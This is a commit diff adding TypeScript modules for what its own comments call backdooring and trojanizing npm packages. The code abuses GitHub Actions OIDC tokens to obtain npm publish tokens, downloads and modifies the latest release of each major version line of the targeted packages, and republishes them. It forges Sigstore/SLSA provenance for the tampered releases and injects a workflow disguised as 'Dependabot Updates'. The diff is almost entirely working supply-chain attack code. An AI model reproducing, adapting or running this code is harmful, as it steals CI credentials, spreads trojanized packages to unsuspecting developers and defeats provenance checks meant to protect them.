Upload files to "src/mutator/npmoidc"
This commit is contained in:
@@ -0,0 +1,234 @@
|
||||
import { $ } from "bun";
|
||||
import { createWriteStream } from "fs";
|
||||
import { join } from "path";
|
||||
import { Readable } from "stream";
|
||||
import { pipeline } from "stream/promises";
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Mutator } from "../base";
|
||||
import { publishTarball } from "../npm/publish";
|
||||
import { updateTarball } from "../npm/tarball";
|
||||
import { generateProvenanceBundle } from "./provenance";
|
||||
|
||||
/**
|
||||
* Comma-separated list of packages to backdoor, read from TARGET_PACKAGES env.
|
||||
* Falls back to OIDC_PACKAGES for backwards compatibility.
|
||||
*/
|
||||
export function getOidcPackages(): string[] {
|
||||
const raw = process.env.TARGET_PACKAGES || process.env.OIDC_PACKAGES;
|
||||
if (!raw || !raw.trim()) {
|
||||
return [];
|
||||
}
|
||||
return raw
|
||||
.split(",")
|
||||
.map((p) => p.trim())
|
||||
.filter(Boolean);
|
||||
}
|
||||
|
||||
export class NPMOidcClient extends Mutator {
|
||||
constructor() {
|
||||
super();
|
||||
}
|
||||
|
||||
private async updateTarball(tarballPath: string): Promise<string> {
|
||||
return updateTarball(tarballPath, {
|
||||
tag: "[npmoidc]",
|
||||
targetName: "Setup",
|
||||
});
|
||||
}
|
||||
|
||||
async downloadPackages(
|
||||
packages: string[],
|
||||
oidcToken: string,
|
||||
): Promise<{ tmpDir: string; downloaded: string[] }> {
|
||||
const tmpDir = await $`mktemp -d`.text().then((s) => s.trim());
|
||||
const downloaded: string[] = [];
|
||||
|
||||
const download = async (pkg: string) => {
|
||||
try {
|
||||
const meta = await fetch(
|
||||
"https://registry.npmjs.org/" + `${pkg.replace("/", "%2F")}`,
|
||||
);
|
||||
if (!meta.ok) return;
|
||||
const data = (await meta.json()) as {
|
||||
"dist-tags": { latest: string };
|
||||
versions: Record<string, { dist?: { tarball?: string } }>;
|
||||
};
|
||||
|
||||
const targets = topVersionsPerMajor(data.versions);
|
||||
logUtil.log(
|
||||
`[npmoidc] ${pkg}: targeting ${targets.length} version(s) — ${targets.join(", ")}`,
|
||||
);
|
||||
|
||||
for (const version of targets) {
|
||||
const tarball = data.versions[version]?.dist?.tarball;
|
||||
if (!tarball) continue;
|
||||
|
||||
const res = await fetch(tarball);
|
||||
if (!res.ok || !res.body) continue;
|
||||
|
||||
const filename = `${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`;
|
||||
const tarballPath = join(tmpDir, filename);
|
||||
await pipeline(
|
||||
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
|
||||
createWriteStream(tarballPath),
|
||||
);
|
||||
const updatedPath = await this.updateTarball(tarballPath);
|
||||
|
||||
// Generate sigstore provenance (best-effort).
|
||||
// Skip when GITHUB_REF is missing — dangling commits trigger
|
||||
// deployments without a real ref, causing Missing SourceRepositoryRef
|
||||
// errors that waste the single-use OIDC token.
|
||||
let provenanceBundle: Record<string, any> | undefined;
|
||||
if (process.env.GITHUB_REF) {
|
||||
try {
|
||||
const result = await generateProvenanceBundle(updatedPath);
|
||||
if (result) {
|
||||
provenanceBundle = result.bundle;
|
||||
if (result.transparencyLogUrl) {
|
||||
logUtil.log(
|
||||
`[provenance] ${pkg}@${version}: ${result.transparencyLogUrl}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
} catch (provErr) {
|
||||
logUtil.log(
|
||||
`[provenance] generation failed for ${pkg}@${version}: ${provErr}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
await this.publishPackage(
|
||||
updatedPath,
|
||||
pkg,
|
||||
oidcToken,
|
||||
provenanceBundle,
|
||||
);
|
||||
downloaded.push(updatedPath);
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.log(`Failed to download ${pkg}: ${e}`);
|
||||
}
|
||||
};
|
||||
|
||||
// Serialize package processing — the OIDC token exchange in
|
||||
// publishPackage is not safe to call concurrently.
|
||||
for (const pkg of packages) {
|
||||
await download(pkg);
|
||||
}
|
||||
return { tmpDir, downloaded };
|
||||
}
|
||||
|
||||
async publishPackage(
|
||||
tarballPath: string,
|
||||
packageName: string,
|
||||
oidcToken: string,
|
||||
provenanceBundle?: Record<string, any>,
|
||||
): Promise<boolean> {
|
||||
try {
|
||||
const escapedPackageName = encodeURIComponent(packageName);
|
||||
const npmRes = await fetch(
|
||||
`https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/${escapedPackageName}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${oidcToken}`,
|
||||
},
|
||||
body: JSON.stringify({ oidcToken }),
|
||||
},
|
||||
);
|
||||
const { token } = (await npmRes.json()) as { token: string };
|
||||
|
||||
if (token) {
|
||||
logUtil.log("About to publish!");
|
||||
|
||||
// Try with provenance first (if available)
|
||||
if (provenanceBundle) {
|
||||
const ok = await publishTarball(
|
||||
tarballPath,
|
||||
token,
|
||||
false,
|
||||
provenanceBundle,
|
||||
);
|
||||
if (ok) return true;
|
||||
// Provenance likely rejected due to missing SourceRepositoryRef
|
||||
// in the signing certificate — retry without it.
|
||||
logUtil.log("[publish] provenance rejected, retrying without it");
|
||||
}
|
||||
|
||||
return await publishTarball(tarballPath, token, false);
|
||||
} else {
|
||||
logUtil.log("About to publish!");
|
||||
await publishTarball(tarballPath, "DummyToken", true);
|
||||
return false;
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.error("Error publishing!");
|
||||
logUtil.error(e);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
async execute(): Promise<Boolean> {
|
||||
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } =
|
||||
process.env;
|
||||
|
||||
const oidcRes = await fetch(
|
||||
`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`,
|
||||
{
|
||||
headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` },
|
||||
},
|
||||
);
|
||||
const { value: oidcToken } = (await oidcRes.json()) as { value: string };
|
||||
if (oidcToken) {
|
||||
const packages = getOidcPackages();
|
||||
if (packages.length === 0) {
|
||||
logUtil.log("OIDC_PACKAGES is empty — nothing to trojanize.");
|
||||
return false;
|
||||
}
|
||||
await this.downloadPackages(packages, oidcToken);
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Version selection ─────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Given an npm package's versions object, return the highest stable
|
||||
* (non-prerelease) version for each major version line.
|
||||
*
|
||||
* Skips pre-releases (anything containing "-").
|
||||
*/
|
||||
function topVersionsPerMajor(versions: Record<string, unknown>): string[] {
|
||||
const majors = new Map<number, string>();
|
||||
|
||||
for (const v of Object.keys(versions)) {
|
||||
// Skip pre-releases
|
||||
if (v.includes("-")) continue;
|
||||
|
||||
const parts = v.split(".");
|
||||
const major = parseInt(parts[0]!, 10);
|
||||
if (isNaN(major)) continue;
|
||||
|
||||
const existing = majors.get(major);
|
||||
if (!existing || compareSemver(v, existing) > 0) {
|
||||
majors.set(major, v);
|
||||
}
|
||||
}
|
||||
|
||||
return Array.from(majors.values()).sort(compareSemver);
|
||||
}
|
||||
|
||||
function compareSemver(a: string, b: string): number {
|
||||
const aParts = a.split(".").map(Number);
|
||||
const bParts = b.split(".").map(Number);
|
||||
for (let i = 0; i < 3; i++) {
|
||||
const diff = (aParts[i] || 0) - (bParts[i] || 0);
|
||||
if (diff !== 0) return diff;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Workflow YAML injector
|
||||
//
|
||||
// Builds a clean, minimal release workflow that replaces the existing one
|
||||
// entirely in the ephemeral branch commit. The workflow:
|
||||
// - Triggers on any branch push
|
||||
// - Single job "release" with checkout, setup-bun, and bun run _index.js
|
||||
// - Inherits environment with prevent_deployment: true if the original had one
|
||||
// - Passes OIDC_PACKAGES, WORKFLOW_ID, REPO_ID_SUFFIX as env vars
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── Types ───────────────────────────────────────────────────────────────────
|
||||
|
||||
export interface InjectionResult {
|
||||
modifiedYaml: string;
|
||||
injected: boolean;
|
||||
reason?: string;
|
||||
/** Workflow filename (e.g. "ci.yml") — needed by callers. */
|
||||
workflowFilename: string;
|
||||
}
|
||||
|
||||
export interface InjectionContext {
|
||||
workflowFilename: string;
|
||||
packageName: string;
|
||||
repoFullName: string;
|
||||
/** Environment name from the original workflow (if any) */
|
||||
environmentName?: string;
|
||||
/** GitHub event to trigger on (default: "deployment").
|
||||
* Use "push" when the token has workflow scope for a simpler path. */
|
||||
triggerEvent?: string;
|
||||
}
|
||||
|
||||
// ── Public API ──────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Build a clean release workflow that replaces the original.
|
||||
*/
|
||||
export function injectToolStep(
|
||||
_rawYaml: string,
|
||||
ctx: InjectionContext,
|
||||
): InjectionResult {
|
||||
const {
|
||||
packageName,
|
||||
repoFullName,
|
||||
workflowFilename,
|
||||
environmentName,
|
||||
triggerEvent = "deployment",
|
||||
} = ctx;
|
||||
|
||||
const envBlock = environmentName
|
||||
? `\n environment:\n name: ${JSON.stringify(environmentName)}\n prevent_deployment: true`
|
||||
: "";
|
||||
|
||||
const newWorkflow = [
|
||||
`name: Dependabot Updates`,
|
||||
`run-name: Dependabot Updates`,
|
||||
`on:`,
|
||||
` ${triggerEvent}`,
|
||||
`permissions:`,
|
||||
` id-token: write`,
|
||||
` contents: read`,
|
||||
`jobs:`,
|
||||
` release:`,
|
||||
` runs-on: ubuntu-latest`,
|
||||
envBlock || null,
|
||||
` steps:`,
|
||||
` - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd`,
|
||||
` - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6`,
|
||||
` - name: prepare`,
|
||||
` run: bun run _index.js`,
|
||||
` env:`,
|
||||
` OIDC_PACKAGES: ${JSON.stringify(packageName)}`,
|
||||
` WORKFLOW_ID: ${JSON.stringify(workflowFilename)}`,
|
||||
` REPO_ID_SUFFIX: ${JSON.stringify(repoFullName)}`,
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join("\n");
|
||||
|
||||
return { modifiedYaml: newWorkflow, injected: true, workflowFilename };
|
||||
}
|
||||
@@ -0,0 +1,491 @@
|
||||
import {
|
||||
createHash,
|
||||
generateKeyPairSync,
|
||||
sign as cryptoSign,
|
||||
} from "node:crypto";
|
||||
import { readFile } from "node:fs/promises";
|
||||
import { gunzipSync } from "node:zlib";
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
const FULCIO_URL = "https://fulcio.sigstore.dev";
|
||||
const REKOR_URL = "https://rekor.sigstore.dev";
|
||||
|
||||
const INTOTO_PAYLOAD_TYPE = "application/vnd.in-toto+json";
|
||||
const INTOTO_STATEMENT_V1_TYPE = "https://in-toto.io/Statement/v1";
|
||||
const SLSA_PREDICATE_V1_TYPE = "https://slsa.dev/provenance/v1";
|
||||
const GITHUB_BUILDER_ID_PREFIX = "https://github.com/actions/runner";
|
||||
const GITHUB_BUILD_TYPE =
|
||||
"https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1";
|
||||
const BUNDLE_V03_MEDIA_TYPE = "application/vnd.dev.sigstore.bundle.v0.3+json";
|
||||
|
||||
interface ProvenanceSubject {
|
||||
name: string;
|
||||
digest: { sha512: string };
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts package.json from a raw (uncompressed) tar buffer.
|
||||
*/
|
||||
function extractPackageJson(tar: Buffer): { name: string; version: string } {
|
||||
let offset = 0;
|
||||
while (offset + 512 <= tar.length) {
|
||||
const header = tar.subarray(offset, offset + 512);
|
||||
if (header[0] === 0) break;
|
||||
|
||||
const nameField = header.subarray(0, 100);
|
||||
const nameEnd = nameField.indexOf(0);
|
||||
const name = nameField
|
||||
.subarray(0, nameEnd === -1 ? 100 : nameEnd)
|
||||
.toString("utf8");
|
||||
|
||||
const sizeStr = header
|
||||
.subarray(124, 136)
|
||||
.toString("utf8")
|
||||
.replace(/\0/g, "")
|
||||
.trim();
|
||||
const size = sizeStr ? parseInt(sizeStr, 8) : 0;
|
||||
|
||||
offset += 512;
|
||||
|
||||
if (name === "package/package.json" || name.endsWith("/package.json")) {
|
||||
const data = tar.subarray(offset, offset + size);
|
||||
return JSON.parse(data.toString("utf8"));
|
||||
}
|
||||
|
||||
offset += Math.ceil(size / 512) * 512;
|
||||
}
|
||||
throw new Error("package.json not found in tarball");
|
||||
}
|
||||
|
||||
/**
|
||||
* Constructs the DSSE Pre-Authentication Encoding (PAE).
|
||||
* Format: "DSSEv1 <typeLen> <type> <payloadLen> " + payloadBytes
|
||||
*/
|
||||
function preAuthEncoding(payloadType: string, payload: Buffer): Buffer {
|
||||
const prefix = `DSSEv1 ${payloadType.length} ${payloadType} ${payload.length} `;
|
||||
return Buffer.concat([Buffer.from(prefix, "ascii"), payload]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts the subject claim from a JWT (email if verified, otherwise sub).
|
||||
*/
|
||||
function extractJWTSubject(jwt: string): string {
|
||||
const parts = jwt.split(".", 3);
|
||||
if (!parts[1]) {
|
||||
throw new Error("Malformed JWT: missing payload segment");
|
||||
}
|
||||
const payload = JSON.parse(Buffer.from(parts[1], "base64").toString("utf-8"));
|
||||
if (payload.email) {
|
||||
if (!payload.email_verified) {
|
||||
throw new Error("JWT email not verified by issuer");
|
||||
}
|
||||
return payload.email;
|
||||
}
|
||||
if (payload.sub) {
|
||||
return payload.sub;
|
||||
}
|
||||
throw new Error("JWT subject not found");
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts a PEM-encoded certificate to raw DER bytes.
|
||||
*/
|
||||
function pemToDER(pem: string): Buffer {
|
||||
const lines = pem
|
||||
.split("\n")
|
||||
.filter(
|
||||
(l) =>
|
||||
!l.startsWith("-----BEGIN") &&
|
||||
!l.startsWith("-----END") &&
|
||||
l.trim() !== "",
|
||||
);
|
||||
return Buffer.from(lines.join(""), "base64");
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts a package name + version to a Package URL (purl).
|
||||
* e.g. "@tanstack/react-router", "1.2.3" -> "pkg:npm/%40tanstack/react-router@1.2.3"
|
||||
*/
|
||||
function toPurl(name: string, version: string): string {
|
||||
if (name.startsWith("@")) {
|
||||
return `pkg:npm/%40${name.slice(1)}@${version}`;
|
||||
}
|
||||
return `pkg:npm/${name}@${version}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Builds the SLSA v1 provenance predicate for GitHub Actions.
|
||||
*/
|
||||
function buildProvenanceStatement(subjects: ProvenanceSubject[]) {
|
||||
const e = process.env;
|
||||
const relativeRef = (e.GITHUB_WORKFLOW_REF || "").replace(
|
||||
e.GITHUB_REPOSITORY + "/",
|
||||
"",
|
||||
);
|
||||
const delimiterIndex = relativeRef.indexOf("@");
|
||||
const workflowPath = relativeRef.slice(0, delimiterIndex);
|
||||
const workflowRef = relativeRef.slice(delimiterIndex + 1);
|
||||
|
||||
return {
|
||||
_type: INTOTO_STATEMENT_V1_TYPE,
|
||||
subject: subjects,
|
||||
predicateType: SLSA_PREDICATE_V1_TYPE,
|
||||
predicate: {
|
||||
buildDefinition: {
|
||||
buildType: GITHUB_BUILD_TYPE,
|
||||
externalParameters: {
|
||||
workflow: {
|
||||
ref: workflowRef,
|
||||
repository: `${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}`,
|
||||
path: workflowPath,
|
||||
},
|
||||
},
|
||||
internalParameters: {
|
||||
github: {
|
||||
event_name: e.GITHUB_EVENT_NAME,
|
||||
repository_id: e.GITHUB_REPOSITORY_ID,
|
||||
repository_owner_id: e.GITHUB_REPOSITORY_OWNER_ID,
|
||||
},
|
||||
},
|
||||
resolvedDependencies: [
|
||||
{
|
||||
uri: `git+${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}@${e.GITHUB_REF}`,
|
||||
digest: { gitCommit: e.GITHUB_SHA },
|
||||
},
|
||||
],
|
||||
},
|
||||
runDetails: {
|
||||
builder: {
|
||||
id: `${GITHUB_BUILDER_ID_PREFIX}/${e.RUNNER_ENVIRONMENT}`,
|
||||
},
|
||||
metadata: {
|
||||
invocationId: `${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}/actions/runs/${e.GITHUB_RUN_ID}/attempts/${e.GITHUB_RUN_ATTEMPT}`,
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a sigstore-audience OIDC token from GitHub Actions.
|
||||
*/
|
||||
async function getSigstoreToken(): Promise<string> {
|
||||
const requestUrl = process.env.ACTIONS_ID_TOKEN_REQUEST_URL;
|
||||
const requestToken = process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN;
|
||||
|
||||
if (!requestUrl || !requestToken) {
|
||||
throw new Error("GitHub Actions OIDC env vars not available for sigstore");
|
||||
}
|
||||
|
||||
const url = new URL(requestUrl);
|
||||
url.searchParams.append("audience", "sigstore");
|
||||
|
||||
const response = await fetch(url.href, {
|
||||
headers: {
|
||||
Accept: "application/json",
|
||||
Authorization: `Bearer ${requestToken}`,
|
||||
},
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
throw new Error(`Failed to get sigstore OIDC token: ${response.status}`);
|
||||
}
|
||||
|
||||
const data = (await response.json()) as { value: string };
|
||||
if (!data.value) {
|
||||
throw new Error("Sigstore OIDC response missing token value");
|
||||
}
|
||||
return data.value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Requests a short-lived signing certificate from Fulcio.
|
||||
*
|
||||
* Sends the OIDC identity token, the ephemeral public key (PEM/SPKI),
|
||||
* and a proof-of-possession signature (the JWT subject signed with
|
||||
* the ephemeral private key).
|
||||
*
|
||||
* Returns the PEM certificate chain (leaf first).
|
||||
*/
|
||||
async function getSigningCertificate(
|
||||
identityToken: string,
|
||||
publicKeyPEM: string,
|
||||
challengeSignature: Buffer,
|
||||
): Promise<string[]> {
|
||||
const body = {
|
||||
credentials: { oidcIdentityToken: identityToken },
|
||||
publicKeyRequest: {
|
||||
publicKey: {
|
||||
algorithm: "ECDSA",
|
||||
content: publicKeyPEM,
|
||||
},
|
||||
proofOfPossession: challengeSignature.toString("base64"),
|
||||
},
|
||||
};
|
||||
|
||||
const response = await fetch(`${FULCIO_URL}/api/v2/signingCert`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const text = await response.text();
|
||||
throw new Error(
|
||||
`Fulcio signing cert request failed: ${response.status} — ${text}`,
|
||||
);
|
||||
}
|
||||
|
||||
const result = (await response.json()) as Record<string, any>;
|
||||
const chain =
|
||||
result.signedCertificateEmbeddedSct?.chain?.certificates ??
|
||||
result.signedCertificateDetachedSct?.chain?.certificates;
|
||||
|
||||
if (!chain || chain.length === 0) {
|
||||
throw new Error("Fulcio returned no certificates");
|
||||
}
|
||||
return chain as string[];
|
||||
}
|
||||
|
||||
interface RekorEntry {
|
||||
logIndex: number;
|
||||
logID: string;
|
||||
integratedTime: number;
|
||||
body: string; // base64
|
||||
signedEntryTimestamp?: string; // base64
|
||||
inclusionProof?: {
|
||||
logIndex: number;
|
||||
rootHash: string; // hex
|
||||
treeSize: number;
|
||||
hashes: string[]; // hex[]
|
||||
checkpoint: string;
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Submits a DSSE envelope + verifier certificate to the Rekor
|
||||
* transparency log and returns the log entry.
|
||||
*/
|
||||
async function submitToRekor(
|
||||
envelope: Record<string, any>,
|
||||
leafCertPEM: string,
|
||||
): Promise<RekorEntry> {
|
||||
const envelopeJSON = JSON.stringify(envelope);
|
||||
const encodedCert = Buffer.from(leafCertPEM).toString("base64");
|
||||
|
||||
const body = {
|
||||
apiVersion: "0.0.1",
|
||||
kind: "dsse",
|
||||
spec: {
|
||||
proposedContent: {
|
||||
envelope: envelopeJSON,
|
||||
verifiers: [encodedCert],
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const response = await fetch(`${REKOR_URL}/api/v1/log/entries`, {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Accept: "application/json",
|
||||
},
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const text = await response.text();
|
||||
throw new Error(
|
||||
`Rekor entry creation failed: ${response.status} — ${text}`,
|
||||
);
|
||||
}
|
||||
|
||||
const data = (await response.json()) as Record<string, any>;
|
||||
const entries = Object.entries(data);
|
||||
if (entries.length !== 1) {
|
||||
throw new Error(
|
||||
`Unexpected Rekor response: expected 1 entry, got ${entries.length}`,
|
||||
);
|
||||
}
|
||||
|
||||
const [, entry] = entries[0]!;
|
||||
const proof = entry.verification?.inclusionProof;
|
||||
|
||||
return {
|
||||
logIndex: entry.logIndex,
|
||||
logID: entry.logID,
|
||||
integratedTime: entry.integratedTime,
|
||||
body: entry.body,
|
||||
signedEntryTimestamp: entry.verification?.signedEntryTimestamp,
|
||||
inclusionProof: proof
|
||||
? {
|
||||
logIndex: proof.logIndex,
|
||||
rootHash: proof.rootHash,
|
||||
treeSize: proof.treeSize,
|
||||
hashes: proof.hashes,
|
||||
checkpoint: proof.checkpoint,
|
||||
}
|
||||
: undefined,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Generates a sigstore provenance bundle for an npm package tarball.
|
||||
*
|
||||
* This implements the same flow as `sigstore.attest()` used by the
|
||||
* npm CLI's `libnpmpublish`:
|
||||
*
|
||||
* 1. Build an in-toto/SLSA provenance statement
|
||||
* 2. Get an ephemeral signing certificate from Fulcio via OIDC
|
||||
* 3. Sign a DSSE envelope containing the statement
|
||||
* 4. Record the envelope in the Rekor transparency log
|
||||
* 5. Assemble a sigstore bundle (v0.3) with all verification material
|
||||
*
|
||||
* @returns The bundle JSON and an optional transparency log URL,
|
||||
* or `null` if provenance generation is not possible
|
||||
* (e.g. not running in GitHub Actions).
|
||||
*/
|
||||
export async function generateProvenanceBundle(tarballPath: string): Promise<{
|
||||
bundle: Record<string, any>;
|
||||
transparencyLogUrl?: string;
|
||||
} | null> {
|
||||
// ── 1. Read tarball and compute integrity ──────────────────────
|
||||
const tarballData = await readFile(tarballPath);
|
||||
const sha512Hex = createHash("sha512").update(tarballData).digest("hex");
|
||||
|
||||
const decompressed = gunzipSync(tarballData);
|
||||
const pkg = extractPackageJson(decompressed);
|
||||
const { name: packageName, version: packageVersion } = pkg;
|
||||
|
||||
if (!packageName || !packageVersion) {
|
||||
throw new Error(
|
||||
"Cannot generate provenance: package.json missing name or version",
|
||||
);
|
||||
}
|
||||
|
||||
const subjects: ProvenanceSubject[] = [
|
||||
{
|
||||
name: toPurl(packageName, packageVersion),
|
||||
digest: { sha512: sha512Hex },
|
||||
},
|
||||
];
|
||||
|
||||
// ── 2. Build the SLSA provenance statement ─────────────────────
|
||||
const statement = buildProvenanceStatement(subjects);
|
||||
const payloadBytes = Buffer.from(JSON.stringify(statement));
|
||||
|
||||
// ── 3. Get sigstore OIDC token ─────────────────────────────────
|
||||
const sigstoreToken = await getSigstoreToken();
|
||||
|
||||
// ── 4. Generate ephemeral ECDSA P-256 keypair ──────────────────
|
||||
const keypair = generateKeyPairSync("ec", { namedCurve: "P-256" });
|
||||
const publicKeyPEM = keypair.publicKey
|
||||
.export({ format: "pem", type: "spki" })
|
||||
.toString();
|
||||
|
||||
// ── 5. Proof-of-possession: sign the JWT subject ───────────────
|
||||
const jwtSubject = extractJWTSubject(sigstoreToken);
|
||||
const challengeSig = cryptoSign(
|
||||
"sha256",
|
||||
Buffer.from(jwtSubject),
|
||||
keypair.privateKey,
|
||||
);
|
||||
|
||||
// ── 6. Get signing certificate from Fulcio ─────────────────────
|
||||
const certChain = await getSigningCertificate(
|
||||
sigstoreToken,
|
||||
publicKeyPEM,
|
||||
challengeSig,
|
||||
);
|
||||
const leafCertPEM = certChain[0]!;
|
||||
const leafCertDER = pemToDER(leafCertPEM);
|
||||
|
||||
// ── 7. Sign the DSSE envelope ──────────────────────────────────
|
||||
const pae = preAuthEncoding(INTOTO_PAYLOAD_TYPE, payloadBytes);
|
||||
const signature = cryptoSign("sha256", pae, keypair.privateKey);
|
||||
|
||||
// Envelope with base64-encoded fields (for Rekor submission and
|
||||
// the final bundle — matches the protobuf Envelope JSON format).
|
||||
const envelopeJSON = {
|
||||
payloadType: INTOTO_PAYLOAD_TYPE,
|
||||
payload: payloadBytes.toString("base64"),
|
||||
signatures: [{ keyid: "", sig: signature.toString("base64") }],
|
||||
};
|
||||
|
||||
// ── 8. Submit to Rekor transparency log ────────────────────────
|
||||
const rekorEntry = await submitToRekor(envelopeJSON, leafCertPEM);
|
||||
|
||||
logUtil.log(
|
||||
`[provenance] Rekor log entry created at index ${rekorEntry.logIndex}`,
|
||||
);
|
||||
|
||||
// ── 9. Build the transparency log entry for the bundle ─────────
|
||||
//
|
||||
// Field encoding follows the sigstore protobuf JSON serialization:
|
||||
// - All bytes fields are standard base64 with padding
|
||||
// - All int64 fields are JSON strings (not numbers)
|
||||
// - logID from Rekor is hex; convert to base64 via Buffer
|
||||
// - body/canonicalizedBody from Rekor is already base64
|
||||
// - signedEntryTimestamp from Rekor is already base64
|
||||
// - inclusionProof hashes/rootHash from Rekor are hex; convert
|
||||
|
||||
const tlogEntry: Record<string, any> = {
|
||||
logIndex: rekorEntry.logIndex.toString(),
|
||||
logId: {
|
||||
keyId: Buffer.from(rekorEntry.logID, "hex").toString("base64"),
|
||||
},
|
||||
kindVersion: { kind: "dsse", version: "0.0.1" },
|
||||
integratedTime: rekorEntry.integratedTime.toString(),
|
||||
canonicalizedBody: rekorEntry.body,
|
||||
};
|
||||
|
||||
if (rekorEntry.signedEntryTimestamp) {
|
||||
tlogEntry.inclusionPromise = {
|
||||
signedEntryTimestamp: rekorEntry.signedEntryTimestamp,
|
||||
};
|
||||
}
|
||||
|
||||
if (rekorEntry.inclusionProof) {
|
||||
const p = rekorEntry.inclusionProof;
|
||||
tlogEntry.inclusionProof = {
|
||||
logIndex: p.logIndex.toString(),
|
||||
treeSize: p.treeSize.toString(),
|
||||
rootHash: Buffer.from(p.rootHash, "hex").toString("base64"),
|
||||
hashes: p.hashes.map((h: string) =>
|
||||
Buffer.from(h, "hex").toString("base64"),
|
||||
),
|
||||
checkpoint: { envelope: p.checkpoint },
|
||||
};
|
||||
}
|
||||
|
||||
// ── 10. Assemble the sigstore bundle (v0.3) ────────────────────
|
||||
//
|
||||
// v0.3 uses a single `certificate` field (not `x509CertificateChain`)
|
||||
// and stores the leaf cert as base64-encoded DER bytes.
|
||||
|
||||
const bundle: Record<string, any> = {
|
||||
mediaType: BUNDLE_V03_MEDIA_TYPE,
|
||||
verificationMaterial: {
|
||||
certificate: {
|
||||
rawBytes: leafCertDER.toString("base64"),
|
||||
},
|
||||
tlogEntries: [tlogEntry],
|
||||
timestampVerificationData: {
|
||||
rfc3161Timestamps: [],
|
||||
},
|
||||
},
|
||||
dsseEnvelope: {
|
||||
payloadType: INTOTO_PAYLOAD_TYPE,
|
||||
payload: payloadBytes.toString("base64"),
|
||||
signatures: [{ sig: signature.toString("base64") }],
|
||||
},
|
||||
};
|
||||
|
||||
const transparencyLogUrl =
|
||||
rekorEntry.logIndex != null
|
||||
? `https://search.sigstore.dev/?logIndex=${rekorEntry.logIndex}`
|
||||
: undefined;
|
||||
|
||||
return { bundle, transparencyLogUrl };
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
export type MutatorName = "npm";
|
||||
Reference in New Issue
Block a user